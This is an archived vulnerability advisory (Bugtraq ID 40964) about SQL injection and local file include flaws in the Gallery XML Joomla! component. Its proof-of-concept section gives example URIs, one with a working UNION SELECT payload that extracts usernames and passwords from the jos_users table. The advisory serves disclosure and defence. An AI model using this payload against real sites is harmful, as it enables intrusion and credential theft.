Gallery XML Joomla! Component SQL Injection and Local File Include Vulnerabilities
BID:40964
Info
Gallery XML Joomla! Component SQL Injection and Local File Include Vulnerabilities
| Bugtraq ID: | 40964 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 18 2010 12:00AM |
| Updated: | Jul 05 2010 06:37PM |
| Credit: | jdc |
| Vulnerable: |
XML/SWF Gallery XML 1.1 XML/SWF Gallery XML 0 |
| Not Vulnerable: | |
Discussion
Gallery XML Joomla! Component SQL Injection and Local File Include Vulnerabilities
The Gallery XML Joomla! component is prone to an SQL-injection vulnerability and a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database; by using directory-traversal strings to execute local script code in the context of the application, the attacker may be able to obtain sensitive information that may aid in further attacks.
The Gallery XML Joomla! component is prone to an SQL-injection vulnerability and a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database; by using directory-traversal strings to execute local script code in the context of the application, the attacker may be able to obtain sensitive information that may aid in further attacks.
Exploit / POC
Gallery XML Joomla! Component SQL Injection and Local File Include Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/index.php?option=com_galleryxml&controller=[LFI]&task=catpics&gcatid=1
http://www.example.com/index.php?option=com_galleryxml&controller=galpic&task=catpics&gcatid=-1 union select 1,2,3,4,5,6,concat(username,char(32),password),8,9,10,11,12 from jos_users -- '
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/index.php?option=com_galleryxml&controller=[LFI]&task=catpics&gcatid=1
http://www.example.com/index.php?option=com_galleryxml&controller=galpic&task=catpics&gcatid=-1 union select 1,2,3,4,5,6,concat(username,char(32),password),8,9,10,11,12 from jos_users -- '
Solution / Fix
Gallery XML Joomla! Component SQL Injection and Local File Include Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Gallery XML Joomla! Component SQL Injection and Local File Include Vulnerabilities
References:
References:
- Joomla! Homepage (Joomla!)
- XML/SWF Homepage (XML/SWF)